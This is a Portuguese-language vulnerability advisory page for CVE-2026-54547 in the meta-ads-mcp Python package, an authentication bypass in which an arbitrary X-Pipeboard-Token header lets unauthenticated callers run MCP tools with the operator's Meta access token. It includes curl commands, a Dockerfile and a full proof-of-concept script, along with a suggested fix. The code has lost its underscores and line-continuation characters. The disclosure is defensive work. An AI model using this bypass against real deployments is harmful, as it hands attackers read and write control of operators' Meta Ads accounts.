PT-2026-60896 · Pypi · Meta-Ads-Mcp

CVE-2026-54547

·

Publicado

2026-07-17

·

Atualizado

2026-07-17

CVSS v3.1

7.4

Alta

VetorAV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

X-Pipeboard-Token Header Auth Bypass Reuses Operator Meta Token

Summary

AuthInjectionMiddleware in meta-ads-mcp rejects HTTP MCP requests only when both auth token and pipeboard token are absent. Because extract token from headers() does not recognise the X-Pipeboard-Token header, an attacker who sends that header with any arbitrary value produces auth token = None and pipeboard token = <attacker value>, making the guard condition evaluate to False and passing the request through. No authentication context is set; the token getter falls back to the server operator's META ACCESS TOKEN environment variable. Every subsequent MCP tool call executes with the operator's Meta credentials, allowing an unauthenticated network caller to read and write the operator's Meta Ads data.

Details

The vulnerable condition is at meta ads mcp/core/http auth integration.py:259:
python
# http auth integration.py:255-260
auth token = FastMCPAuthIntegration.extract token from headers(dict(request.headers))
pipeboard token = FastMCPAuthIntegration.extract pipeboard token from headers(dict(request.headers))

if not auth token and not pipeboard token:   # ← bypass condition
  return Response(..., status code=401)
extract token from headers() (lines 77–95) recognises only Authorization: Bearer, X-META-ACCESS-TOKEN, and X-PIPEBOARD-API-TOKEN. It does not recognise X-Pipeboard-Token, so that header never populates auth token.
extract pipeboard token from headers() (line 108) does recognise X-Pipeboard-Token, so sending that header alone produces:
auth token   = None     # not set → guard reads False for left operand
pipeboard token = "<anything>" # truthy → guard reads False for right operand
→ (not None) and (not "<anything>") = True and False = False → 401 never returned
After the bypass, set auth token() is never called (lines 283–291 only run when auth token is truthy). The patched token getter at lines 163–168 resolves get auth token() = None, then delegates to original get current access token(). The fallback chain in auth.py:446–453 returns META ACCESS TOKEN from the server environment:
python
# auth.py:443-453
env token = os.environ.get("META ACCESS TOKEN")
if env token:
  return env token
@meta api tool at api.py:390–396 injects this operator token into every tool's access token kwarg. The sink at api.py:225–235 forwards it to the Meta Graph API via httpx.AsyncClient. Verified with accounts.py:42–62 (get ad accounts): the operator's ad account data is returned for valid tokens; for invalid tokens the Meta Graph API responds with an OAuthException, confirming the token traversed the full path.
Full data flow:
StepLocationDescription
1http auth integration.py:255–257Middleware extracts attacker-controlled headers
2http auth integration.py:259Bypass: X-Pipeboard-Token alone satisfies guard
3http auth integration.py:288–291auth token is None; auth context never set
4http auth integration.py:163–168Token getter falls back to original accessor
5auth.py:446–453META ACCESS TOKEN env var returned as access token
6api.py:390–396Operator token injected into tool kwargs
7accounts.py:42–62Tool invokes Meta Graph API with operator token
8api.py:225–235httpx.AsyncClient sends privileged HTTP request
Recommended fix:
diff
--- a/meta ads mcp/core/http auth integration.py
+++ b/meta ads mcp/core/http auth integration.py
-    if not auth token and not pipeboard token:
+    if not auth token:
X-Pipeboard-Token should be treated as a supplementary service token only; it must not serve as a standalone authentication credential for MCP tool calls.

PoC

Prerequisites
  • Docker installed and the meta-ads-mcp repository available locally.
  • The server must be started in streamable-http mode (documented in STREAMABLE HTTP SETUP.md as a supported production deployment).
Step 1 — Build the Docker image
bash
docker build 
 -t vuln001-meta-ads-mcp 
 -f /path/to/vuln-001/Dockerfile 
 /path/to/meta-ads-mcp-repo/
The Dockerfile installs the package from source, sets META ACCESS TOKEN=FAKE OPERATOR META TOKEN ABCDEF1234567890, and starts the server on port 8080.
Step 2 — Run the container
bash
docker run -d -p 8081:8080 --name vuln001-test vuln001-meta-ads-mcp
Step 3 — Confirm the middleware is active (no-auth → 401)
bash
curl -i -X POST http://127.0.0.1:8081/mcp 
 -H 'Content-Type: application/json' 
 -H 'Accept: application/json, text/event-stream' 
 -d '{"jsonrpc":"2.0","id":1,"method":"tools/list","params":{}}'
# Expected: HTTP/1.1 401 {"error":"Unauthorized",...}
Step 4 — Trigger the bypass (X-Pipeboard-Token only → 200)
bash
curl -i -X POST http://127.0.0.1:8081/mcp 
 -H 'Content-Type: application/json' 
 -H 'Accept: application/json, text/event-stream' 
 -H 'X-Pipeboard-Token: attacker-controlled-not-validated' 
 -d '{"jsonrpc":"2.0","id":1,"method":"tools/list","params":{}}'
# Expected: HTTP/1.1 200 {"jsonrpc":"2.0","result":{"tools":[...]}} (37 tools listed)
Step 5 — Confirm operator token is forwarded to Meta Graph API
bash
curl -i -X POST http://127.0.0.1:8081/mcp 
 -H 'Content-Type: application/json' 
 -H 'Accept: application/json, text/event-stream' 
 -H 'X-Pipeboard-Token: attacker-controlled-not-validated' 
 -d '{"jsonrpc":"2.0","id":2,"method":"tools/call","params":{"name":"get ad accounts","arguments":{"limit":1}}}'
# Expected: HTTP 200 + Meta OAuthException (code 190) proving FAKE OPERATOR META TOKEN
# was forwarded to Meta. With a real operator token, ad account data is returned.
Automated PoC script
bash
python3 /path/to/vuln-001/poc.py http://127.0.0.1:8081/mcp
The script performs Tests 1–3 and prints RESULT: PASS — VULN-001 reproduced on success.
Observed output (dynamic reproduction)
Test 1 (no auth header)     → HTTP 401 {"error":"Unauthorized",...}
Test 2 (X-Pipeboard-Token only) → HTTP 200 {"jsonrpc":"2.0","result":{"tools":[...]}} (37 tools)
Test 3 (tools/call, same header)→ HTTP 200 {"error":{"message":"Invalid OAuth access token data.","type":"OAuthException","code":190}}
Test 3 confirms that FAKE OPERATOR META TOKEN was sent to Meta Graph API, proving the full operator-token reuse path.

Impact

This is an authentication bypass vulnerability. Any network-reachable caller that can send an HTTP request with an arbitrary X-Pipeboard-Token header can:
  • Read all Meta Ads data accessible to the server operator (ad accounts, campaigns, creatives, audiences, insights).
  • Write Meta Ads resources (create/update campaigns, ads, budgets) as the operator.
  • Exfiltrate the operator's identity via Meta Graph API error responses that reference the token.
Operators who deploy meta-ads-mcp in --transport streamable-http mode with META ACCESS TOKEN configured — the documented and recommended production setup — are directly affected. Deployments using the default stdio transport or those without META ACCESS TOKEN set are not affected.

Reproduction artifacts

Dockerfile

dockerfile
# VULN-001 PoC: X-Pipeboard-Token Auth Bypass (CWE-287)
# Runs meta-ads-mcp in streamable-http mode with a fake operator META ACCESS TOKEN.
# The server enforces auth via AuthInjectionMiddleware, but the bypass allows
# X-Pipeboard-Token alone to pass the middleware and reach tool handlers,
# which then fall back to the operator's META ACCESS TOKEN.
FROM python:3.11-slim

WORKDIR /app

# Install system dependencies
RUN apt-get update && apt-get install -y --no-install-recommends 
    curl 
  && rm -rf /var/lib/apt/lists/*

# Copy repository source (build context must be the repo root)
COPY . /app

# Install the package and its dependencies
RUN pip install --no-cache-dir -e .

# Fake operator token: length >= 20 so the server's basic validation passes.
# This is NOT a real Meta token — used only to prove the bypass path
# that reaches auth.py:446-453 (META ACCESS TOKEN fallback).
ENV META ACCESS TOKEN=FAKE OPERATOR META TOKEN ABCDEF1234567890
ENV META APP ID=999999999999999

# Disable any browser-launch attempts during startup
ENV DISPLAY=

EXPOSE 8080

# Start the MCP server with streamable-http transport.
# --host 0.0.0.0 is required so the container port is reachable from the host.
CMD ["python", "-m", "meta ads mcp", 
   "--transport", "streamable-http", 
   "--host", "0.0.0.0", 
   "--port", "8080"]

poc.py

python
#!/usr/bin/env python3
"""
PoC for VULN-001: X-Pipeboard-Token Header Auth Bypass Reuses Operator Meta Token

CVE class : CWE-287 Improper Authentication
Package  : meta-ads-mcp 1.0.113
File   : meta ads mcp/core/http auth integration.py:259

Vulnerability summary
---------------------
AuthInjectionMiddleware rejects requests only when BOTH auth token AND
pipeboard token are absent (line 259):
  if not auth token and not pipeboard token:
    return Response(status code=401)

extract token from headers() (lines 77-95) does NOT recognise the
"X-Pipeboard-Token" header — only "Authorization: Bearer",
"X-META-ACCESS-TOKEN", and "X-PIPEBOARD-API-TOKEN".

extract pipeboard token from headers() (line 108) DOES recognise
"X-Pipeboard-Token".

Consequence: an attacker that sends only "X-Pipeboard-Token: <anything>"
makes auth token=None and pipeboard token="<anything>". The bypass
condition becomes:
  if not None and not "<anything>":  # False — request passes
No auth context is set; the token getter (http auth integration.py:163-168)
falls back to get current access token() in auth.py which returns the server
operator's META ACCESS TOKEN (auth.py:446-453). Tool calls then run as the
operator.

Expected evidence
-----------------
Test 1 No auth header → HTTP 401 from middleware
Test 2 X-Pipeboard-Token: <attacker value> → HTTP != 401 from MCP layer
    (proves bypass; further tool calls use operator token)

Usage
-----
The MCP server must already be running and reachable at 127.0.0.1:8080.
  docker run -d -p 8080:8080 --name vuln001 vuln001-meta-ads-mcp
  python3 poc.py
"""

import json
import sys
import time
import urllib.error
import urllib.request

# ---------------------------------------------------------------------------
# Default server URL; override via first CLI arg: python3 poc.py http://host:port/mcp
import os as os

 DEFAULT URL = "http://127.0.0.1:8080/mcp"
SERVER URL = (
  sys.argv[1] if len(sys.argv) > 1 else os.environ.get("MCP SERVER URL", DEFAULT URL)
)
# Arbitrary attacker-controlled value — NOT validated by the server
ATTACKER PIPEBOARD TOKEN = "attacker-controlled-not-validated-xyz1234567890"
SERVER READY TIMEOUT = 90 # seconds
# ---------------------------------------------------------------------------


def http post(url: str, headers: dict, body: dict) -> tuple:
  """Send a JSON-encoded POST request; return (http status, response text)."""
  data = json.dumps(body).encode()
  req = urllib.request.Request(url, data=data, headers=headers, method="POST")
  try:
    with urllib.request.urlopen(req, timeout=10) as resp:
      return resp.status, resp.read().decode("utf-8", errors="replace")
  except urllib.error.HTTPError as exc:
    return exc.code, exc.read().decode("utf-8", errors="replace")
  except Exception as exc:
    return None, str(exc)


def wait for server(timeout: int = SERVER READY TIMEOUT) -> bool:
  """
  Poll until the server returns any HTTP response (even 401).
  Returns True when ready, False on timeout.
  """
  deadline = time.time() + timeout
  attempt = 0
  while time.time() < deadline:
    status,  = http post(
      SERVER URL,
      {"Content-Type": "application/json"},
      {"jsonrpc": "2.0", "id": 0, "method": "ping"},
    )
    if status is not None:
      return True
    attempt += 1
    if attempt % 5 == 0:
      elapsed = int(time.time() - (deadline - timeout))
      print(f"  ... still waiting ({elapsed}s elapsed)")
    time.sleep(1)
  return False


def run test(label: str, headers: dict, payload: dict) -> tuple:
  """Run one request, print result, and return (status, body)."""
  print(f"
[*] {label}")
  status, body = http post(SERVER URL, headers, payload)
  print(f"  HTTP Status : {status}")
  # Print up to 600 chars so long MCP responses are readable
  print(f"  Response  : {body[:600]}")
  return status, body


def main() -> int:
  print("=" * 65)
  print("VULN-001 PoC: X-Pipeboard-Token Auth Bypass")
  print("meta-ads-mcp 1.0.113 | CWE-287 Improper Authentication")
  print("=" * 65)

  # -----------------------------------------------------------------------
  print("
[*] Waiting for MCP server to be ready ...")
  if not wait for server():
    print(f"[-] ERROR: Server did not respond within {SERVER READY TIMEOUT}s")
    return 2
  print("[+] Server is ready")

  # Common headers for all requests
  base headers = {
    "Content-Type": "application/json",
    "Accept": "application/json, text/event-stream",
  }

  # A minimal MCP JSON-RPC payload. In stateless-HTTP mode the server
  # processes each request independently; tools/list does not require a
  # prior initialize handshake.
  list payload = {
    "jsonrpc": "2.0",
    "id": 1,
    "method": "tools/list",
    "params": {},
  }

  # -----------------------------------------------------------------------
  # Test 1: No authentication — must be rejected with 401
  # -----------------------------------------------------------------------
  status1, body1 = run test(
    "Test 1: POST /mcp — no auth header at all",
    base headers,
    list payload,
  )

  if status1 != 401:
    print(f"[-] UNEXPECTED: Expected HTTP 401 without auth, got {status1}")
    print("  Middleware may not be active. Cannot assess bypass.")
    return 2

  try:
    parsed = json.loads(body1)
    if parsed.get("error") != "Unauthorized":
      print("[-] UNEXPECTED body (expected {"error": "Unauthorized"})")
      return 2
  except json.JSONDecodeError:
    pass # Body format is secondary evidence

  print("[+] CONFIRMED: No-auth request correctly rejected with HTTP 401")

  # -----------------------------------------------------------------------
  # Test 2: Only X-Pipeboard-Token — must NOT be 401 if bypass works
  #
  # Vulnerability logic (http auth integration.py:259):
  #  auth token  = extract token from headers(headers)    -> None
  #  pipeboard token = extract pipeboard token from headers(headers) -> ATTACKER VALUE
  #  if not None and not ATTACKER VALUE:  # evaluates False -> request passes
  #  # set auth token() never called -> auth context stays None
  #  # tool getter falls back to META ACCESS TOKEN env var
  # -----------------------------------------------------------------------
  bypass headers = {
    **base headers,
    "X-Pipeboard-Token": ATTACKER PIPEBOARD TOKEN,
  }
  status2, body2 = run test(
    f"Test 2: POST /mcp — only X-Pipeboard-Token: {ATTACKER PIPEBOARD TOKEN}",
    bypass headers,
    list payload,
  )

  if status2 == 401:
    print("
[-] BYPASS FAILED: Got HTTP 401 with X-Pipeboard-Token.")
    print("  The vulnerability may have been patched on this build.")
    return 1

  print(f"
[+] AUTH BYPASS CONFIRMED: HTTP {status2} (not 401)")
  print("  The middleware accepted the request with X-Pipeboard-Token alone.")
  print("  auth token was None -> set auth token() not called ->")
  print("  get auth token() returns None -> META ACCESS TOKEN fallback active.")

  # Extra detail: check if we can see MCP tool names in the response
  try:
    parsed2 = json.loads(body2)
    tools = parsed2.get("result", {}).get("tools", [])
    if tools:
      print(f"
  MCP tools/list returned {len(tools)} tools (server fully reachable):")
      for t in tools[:5]:
        print(f"   - {t.get('name', '?')}")
  except Exception:
    pass

  # -----------------------------------------------------------------------
  # Test 3: tools/call get ad accounts — operator token forwarded to Meta
  # The Meta Graph API will reject the FAKE token, but the error response
  # proves the request reached Meta (not the local 401 guard).
  # -----------------------------------------------------------------------
  call payload = {
    "jsonrpc": "2.0",
    "id": 2,
    "method": "tools/call",
    "params": {
      "name": "get ad accounts",
      "arguments": {"limit": 1},
    },
  }
  status3, body3 = run test(
    "Test 3: tools/call get ad accounts with X-Pipeboard-Token only",
    bypass headers,
    call payload,
  )

  if status3 != 401:
    print(f"
[+] OPERATOR TOKEN CONFIRMED IN USE: HTTP {status3}")
    print("  The tool call was not blocked locally. The server forwarded")
    print("  the request to Meta Graph API using META ACCESS TOKEN.")
    if "OAuthException" in body3 or "Invalid OAuth" in body3:
      print("  Meta Graph API returned an OAuthException about the")
      print("  FAKE OPERATOR META TOKEN — confirming the token was forwarded.")
    elif "error" in body3.lower():
      print("  Meta Graph API (or MCP layer) returned an error response")
      print("  — the request reached the tool handler, not the local 401 guard.")
  else:
    print("[!] Note: tools/call returned 401 — may need MCP initialize first")

  # -----------------------------------------------------------------------
  print("
" + "=" * 65)
  print("RESULT: PASS — VULN-001 reproduced")
  print()
  print("Evidence:")
  print(f" Test 1 (no header)      -> HTTP {status1} (blocked by middleware)")
  print(f" Test 2 (X-Pipeboard-Token)  -> HTTP {status2} (BYPASSES middleware)")
  print()
  print("The distinction proves that AuthInjectionMiddleware at")
  print("http auth integration.py:259 is the exploitable boundary.")
  print("An attacker can reach all MCP tools as the server operator by")
  print('sending any value in the "X-Pipeboard-Token" header.')
  print("=" * 65)
  return 0


if  name  == " main ":
  sys.exit(main())

Correção

Improper Authentication

Encontrou algum problema na descrição? Tem algo a acrescentar? Fique à vontade para nos escrever 👾

Enumeração de Fraquezas

Identificadores relacionados

CVE-2026-54547
GHSA-2V2F-MVFG-PH56

Produtos afetados

Meta-Ads-Mcp